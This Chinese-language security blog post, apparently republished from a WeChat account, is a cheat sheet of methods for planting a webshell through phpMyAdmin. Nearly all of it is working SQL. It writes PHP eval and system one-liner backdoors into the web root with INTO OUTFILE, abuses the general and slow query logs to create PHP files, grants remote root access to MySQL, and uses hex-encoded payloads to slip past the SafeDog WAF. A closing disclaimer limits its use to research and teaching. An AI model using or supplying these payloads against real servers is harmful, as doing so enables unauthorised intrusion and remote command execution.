所有话题标签: |
0x01 前言
phpMyAdmin是一个以PHP为基础的MySQL数据库管理工具,管理者可以通过Web方式来控制和操作MySQL数据库。phpMyAdmin在MySQL和MariaDB上支持多种操作,可以直接在用户界面中执行常用操作,如:浏览/删除/创建/复制/删除/重命名和更改数据库、表、视图、字段和索引,管理MySQL用户帐户和权限等,也可以直接执行SQL语句。
0x02 Getshell常见报错
show global variables like "%secure%"; //查询secure_file_priv配置
secure_file_prive=null //不允许导入导出数据到目录
secure_file_priv=c:90sec //允许导入导出数据到指定目录
secure_file_priv="" //允许导入导出数据到任意目录
secure_file_priv="/" //允许导入导出数据到任意目录
(2) #1045 - Access denied for user 'root'@'localhost' (using password: YES)
select * from mysql.user; //查询所有用户权限
select * from mysql.user where user="root"; //查询root用户权限
update user set File_priv ='Y' where user = 'root'; //允许root用户读写文件
update user set File_priv ='N' where user = 'root'; //禁止root用户读写文件
flush privileges; //刷新MySQL系统权限相关表
0x03 Getshell方式小结
(1) 读取/导出中文路径
load data infile 'C:\phpStudy\WWW\90sec.php' into table user;
select load_file(concat('C:\phpStudy\WWW\',unhex('b2e2cad4') ,'\90sec.php'));
set character_set_client='gbk';set character_set_connection='gbk';set character_set_database='gbk';set character_set_results='gbk';set character_set_server='gbk';select '<?php eval($_POST[pass]);?>' into outfile 'C:\phpStudy\WWW\测试\90sec.php';
(2) 常规导出Webshell-1
Create TABLE shadow9 (content text NOT NULL);
Insert INTO shadow9 (content) VALUES('<?php @eval($_POST[pass]);?>');
select content from shadow9 into outfile 'C:\phpStudy\WWW\90sec.php';
DROP TABLE IF EXISTS `shadow9`;
(3) 常规导出Webshell-2
select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/90sec.php';
select '<?php @eval($_POST[pass]);?>' into outfile 'c:\phpstudy\www\90sec.php';
select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:\phpstudy\www\bypass.php';
select '<?php echo '<pre>';system($_GET['cmd']); echo '</pre>'; ?>' into outfile 'C:\phpStudy\WWW\90sec.php';
(4) general_log Getshell
show global variables like "%genera%"; //查询general_log配置
set global general_log='on'; //开启general log模式
SET global general_log_file='C:/phpStudy/WWW/cmd.php'; //设置日志文件保存路径
SELECT '<?php phpinfo();?>'; //phpinfo()写入日志文件
set global general_log='off'; //关闭general_log模式
(5) slow_query_log_file Getshell
show variables like 'slow_query_log_file';
set global slow_query_log=on;
set global slow_query_log_file="C:\phpStudy\WWW\shell.php";
select sleep(15),'<?php phpinfo();?>';
set global slow_query_log=off;
注:利用general_log或slow_query_log在成功写入Webshel后建议立即OFF关闭,否则可能会因为php.ini配置文件中的memory_limit参数设定的内存值太小而出现“内存不足”的报错。
'C:phpStudyPHPTutorialtestingcmd.php' not found (Errcode: 13) 29 - File
'general_log_file' can't be set to the value of '/home/wwwroot/default/cmd.php' 1231 - Variable
MySQL运行用户与网站目录对应用户的写入/修改权限问题,需要给予网站目录所需权限才能解决该问题!
(6) 绕过WAF Getshell-1
grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option; //开启MySQL外链
flush privileges; //刷新MySQL系统权限相关表
(7) 绕过WAF Getshell-2
select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/90sec.php';
select '<?php @eval($_POST[pass]);?>' into /*!50001outfile*/ 'c:/phpstudy/www/bypass.php';
绕过网站安全狗(<4.0):
select 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\phpStudy\WWW\bypass.php';
注:Hex编码,提交时虽然会显示拦截,但其实[过狗马]已经被写进去了!
绕过网站安全狗(4.0正式版):
/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\phpStudy\WWW\bypass.php';
如果对你有所帮助,点个分享、赞、在看呗!
本文始发于微信公众号(WhITECat安全团队):phpMyAdmin后台Getshell总结
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论